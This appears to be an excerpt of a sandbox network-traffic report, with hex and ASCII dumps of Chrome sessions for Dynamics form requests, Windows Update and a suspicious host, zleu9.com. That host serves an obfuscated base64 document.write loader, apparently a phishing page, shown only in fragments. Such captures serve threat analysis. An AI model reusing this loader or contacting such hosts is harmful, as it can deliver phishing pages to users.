2024-04-24 06:21:20 UTC	13264	IN	Data Raw: 67 69 6e 2d 74 6f 70 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 Data Ascii: gin-top: 16px; } .twoOptionFormFieldBlock div.radiobuttons > div, .twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49730	13.107.213.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:19 UTC	422	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:19 UTC	628	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:19 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: 294103bd-a01e-008e-7dba-95f8d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T062119Z-168bb8d798bbqgrcawqpfu2sb800000005d00000000002m4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-24 06:21:19 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49732	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:19 UTC	605	OUT	OPTIONS /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:19 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Wed, 24 Apr 2024 06:21:19 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: ff7c17752f8404ef38f18ed34fb48779 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49733	13.107.213.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:20 UTC	467	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:20 UTC	504	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:20 GMT Content-Type: image/png Content-Length: 28014 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 7e1ad9927a6fc53947d021eeb9afea66 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T062120Z-168bb8d798b8nl86frq151a460000000058000000000ygp4 x-fd-int-roxy-purgeid: 69094450 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Cache-Control: public, max-age=2592000 Accept-Ranges: bytes
2024-04-24 06:21:20 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 96 00 00 04 54 08 06 00 00 00 24 b7 99 cc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 6c 85 49 44 41 54 78 da ec fd 77 9c 5d f5 9d e7 eb 7e 57 55 49 95 95 08 22 49 48 42 80 a8 22 2b 90 85 10 92 40 e4 0c 26 e3 b6 dd ed 80 8d 7d 66 a6 fb 75 ce b9 77 b8 67 d2 99 99 ee 76 bb a3 db 36 39 1b 10 41 e4 8c 22 39 e7 9c 83 85 04 ca 2a a9 6a af fb 07 c1 48 a8 4a 7b af 4a 3b 3c cf 6b 7a 40 52 a9 54 f5 d9 3f a0 d6 db 6b ef 4a 02 00 00 7a c0 98 1f 4d 1b dc 5e dd 31 36 92 68 cd 25 69 4b 44 b4 26 91 b6 e4 a2 66 e6 87 ff 72 Data Ascii: PNGIHDRT$gAMAa cHRMz&u0`:pQ<bKGDlIDATxw]~WUI"IHB"+@&}fuwgv69A"9*jHJ{J;<kz@RT?kJzM^16h%iKD&fr
2024-04-24 06:21:20 UTC	12134	IN	Data Raw: c4 02 ec b4 d5 a8 98 b9 c7 64 43 00 00 00 df 21 2c 41 11 49 92 24 7e ea b5 95 36 e9 92 02 5f b4 7b 43 57 cc bf d5 88 05 ba e0 b0 b3 dd b5 04 00 00 7c 87 b0 04 45 e4 f0 dd 0e 8c 9d b7 1e 6d 88 2e 3c f7 fe 6b f1 cc 7b af 74 eb 7d 3c f2 c6 b3 f1 ca c7 6f 1b b3 00 3b 6e b5 7d 1c b5 d7 21 86 00 00 00 d6 23 2c 41 91 48 92 24 7e 3c f5 34 43 6c c2 45 73 6e ec 91 f7 73 d5 82 db 8c 59 a0 5f 1e 7e 4e d4 54 55 1b 02 00 00 f8 86 b0 04 45 62 7a eb 7e b1 db 76 3b 1a a2 0b 7f 5a b6 24 ee 78 76 4e 8f bc af 59 4f dc 1b 2b d6 ac 32 6a 01 46 6f b1 6d 1c bd b7 bb 96 00 00 80 3f 13 96 a0 48 78 6d a5 4d bb 72 c1 ec 58 d7 43 df d1 6d 65 db ea 98 f5 c4 7d 46 2d d0 2f 0e 3b cb 5d 4b 00 00 c0 37 84 25 28 02 53 5b f6 89 dd 47 ec 6c 88 2e ac 6d 5f 17 57 3f 72 7b 8f be cf cb e7 df 12 Data Ascii: dC!,AI$~6_{CW\|Em.<k{t}<o;n}!#,AH$~<4ClEsnsY_~NTUEbz~v;Z$xvNYO+2jFom?HxmMrXCme}F-/;]K7%(S[Gl.m_W?r{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49734	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:20 UTC	715	OUT	POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 153 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:20 UTC	153	OUT	Data Raw: 7b 22 70 61 67 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 7d Data Ascii: {"pageUrl":"https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288"}
2024-04-24 06:21:21 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 06:21:21 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 56d9d87f42600a148eb22ddfd3648f77 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 06:21:21 UTC	54	IN	Data Raw: 32 62 0d 0a 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2b{"interactionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49736	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:22 UTC	468	OUT	GET /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:22 UTC	218	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 24 Apr 2024 06:21:22 GMT Content-Length: 0 Connection: close x-ms-trace-id: 092e1614cf44026a964feea40a9be67d Strict-Transport-Security: max-age=2592000; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49737	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1B5KMs2dSdTWHV6&MD=uvLkEpBS HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 06:21:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 582794f2-a7cd-4ba4-946d-1c2e01d60cf4 MS-RequestId: f6bb76ac-1ef4-477a-878c-708f2a13a15f MS-CV: CabRidgfsEOPP8s4.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 06:21:22 GMT Connection: close Content-Length: 24490
2024-04-24 06:21:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-24 06:21:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49741	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:30 UTC	598	OUT	OPTIONS /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:30 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Wed, 24 Apr 2024 06:21:30 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: b6e3ed448febab9b719456a6b540e2e8 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49742	52.146.76.30	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:30 UTC	708	OUT	POST /api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:30 UTC	174	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 64 46 6f 72 6d 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 34 64 66 35 32 37 63 38 2d 35 61 66 64 2d 65 65 31 31 2d 39 30 34 38 2d 30 30 30 64 33 61 31 30 36 38 32 64 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 38 34 35 66 62 64 33 64 2d 61 34 30 31 2d 65 66 31 31 2d 61 31 66 64 2d 37 63 31 65 35 32 31 63 30 32 38 38 22 2c 22 66 69 65 6c 64 73 22 3a 5b 5d 7d Data Ascii: {"publishedFormUrl":"https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288","fields":[]}
2024-04-24 06:21:31 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 06:21:31 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 3bffcf1ac916815cb00d2dfc7469cba5 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 06:21:31 UTC	53	IN	Data Raw: 32 61 0d 0a 7b 22 73 75 62 6d 69 73 73 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2a{"submissionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49744	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:32 UTC	671	OUT	GET /O5u7Gw/ HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:33 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=expmZESoU6dmeeVXeiyvYsFU%2BWKpRZpvylZlTkYIIy%2BMEbcsDvlhOet2NarQokI4nU8knSECY92gAwM3%2FOdFfLWHdmXPaSsPqw%2F9E5siC%2BRwGlkHMeaqiOS6BlAQaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik1QbXczbDBidTJSYllEUGlPdno0WFE9PSIsInZhbHVlIjoiM3UvMXFqNEFCNnhtRVBrc3EwK3loVW43UjVwNnNMVHV4dEhZQVNIbEpoU3ZZaUdRYzVpd0o2ZS9pVEpaQ2FXOFd5cWd5bVdpTzUrNHdZZXRheFNsLzlqNjBsdG0ydk5za3YxVVFDcUsyVk1DVGFDcXhQenJyZlhPMlQwS2RWeEciLCJtYWMiOiIxZDJmMDZjOWE3NTM1OWE2MDc1M2IxZTdiMDA1YzI0NzliMzNjNDNjN2JjOGI1NzVlZDMyNTZjNzFmNDk3MjljIiwidGFnIjoiIn0%3D; expires=Wed, 24-Apr-2024 08:21:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-24 06:21:33 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 56 79 4d 56 63 31 63 30 68 56 64 54 42 6d 56 47 6c 35 54 6b 5a 4e 5a 6e 42 69 51 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 54 6c 4a 5a 53 74 42 51 58 55 31 62 56 5a 31 53 55 30 32 4d 54 56 33 57 57 64 45 4f 48 51 78 4d 46 5a 6d 54 6c 6c 58 65 6b 4a 78 63 79 39 50 62 33 42 6a 61 58 42 6f 59 6b 74 31 4f 46 6c 71 56 6b 49 76 56 58 52 4d 65 6d 52 6a 64 57 31 5a 63 47 51 31 56 47 49 76 53 45 4a 59 64 6a 68 68 4e 55 74 77 56 6c 49 30 4d 45 4e 46 51 54 64 6c 56 58 49 34 55 57 35 55 64 54 56 49 51 31 5a 6e 4b 7a 52 50 54 7a 68 6f 53 48 46 61 5a 6c 68 49 65 46 45 76 5a 44 5a 75 63 54 4d 32 53 55 35 7a 57 58 46 69 4f 47 6f 32 4e 56 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkVyMVc1c0hVdTBmVGl5TkZNZnBiQXc9PSIsInZhbHVlIjoiRTlJZStBQXU1bVZ1SU02MTV3WWdEOHQxMFZmTllXekJxcy9Pb3BjaXBoYkt1OFlqVkIvVXRMemRjdW1ZcGQ1VGIvSEJYdjhhNUtwVlI0MENFQTdlVXI4UW5UdTVIQ1ZnKzRPTzhoSHFaZlhIeFEvZDZucTM2SU5zWXFiOGo2NVg
2024-04-24 06:21:33 UTC	1369	IN	Data Raw: 31 38 36 32 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 1862<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-04-24 06:21:33 UTC	1369	IN	Data Raw: 44 51 6f 67 49 47 39 32 5a 58 4a 6d 62 47 39 33 4f 69 42 6f 61 57 52 6b 5a 57 34 37 44 51 70 39 44 51 6f 6a 62 58 4a 49 57 55 35 78 56 6e 5a 73 63 79 42 6f 4e 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 41 37 62 57 46 79 5a 32 6c 75 4c 57 4a 76 64 48 52 76 62 54 6f 75 4e 58 4a 6c 62 54 74 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 31 4d 44 41 37 62 47 6c 75 5a 53 31 6f 5a 57 6c 6e 61 48 51 36 4d 53 34 79 4f 33 30 4e 43 69 4e 74 63 6b 68 5a 54 6e 46 57 64 6d 78 7a 49 47 67 30 65 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 70 6a 59 57 78 6a 4b 44 45 75 4d 79 6b 37 66 51 30 4b 51 47 31 6c 5a 47 6c 68 49 43 68 74 61 57 34 74 64 32 6c 6b 64 47 67 36 4d 54 49 77 4d 48 42 34 4b 58 73 4e 43 69 4e 74 63 6b 68 5a 54 6e 46 57 64 6d 78 7a 49 47 67 30 65 32 5a Data Ascii: DQogIG92ZXJmbG93OiBoaWRkZW47DQp9DQojbXJIWU5xVnZscyBoNHttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTouNXJlbTtmb250LXdlaWdodDo1MDA7bGluZS1oZWlnaHQ6MS4yO30NCiNtckhZTnFWdmxzIGg0e2ZvbnQtc2l6ZTpjYWxjKDEuMyk7fQ0KQG1lZGlhIChtaW4td2lkdGg6MTIwMHB4KXsNCiNtckhZTnFWdmxzIGg0e2Z
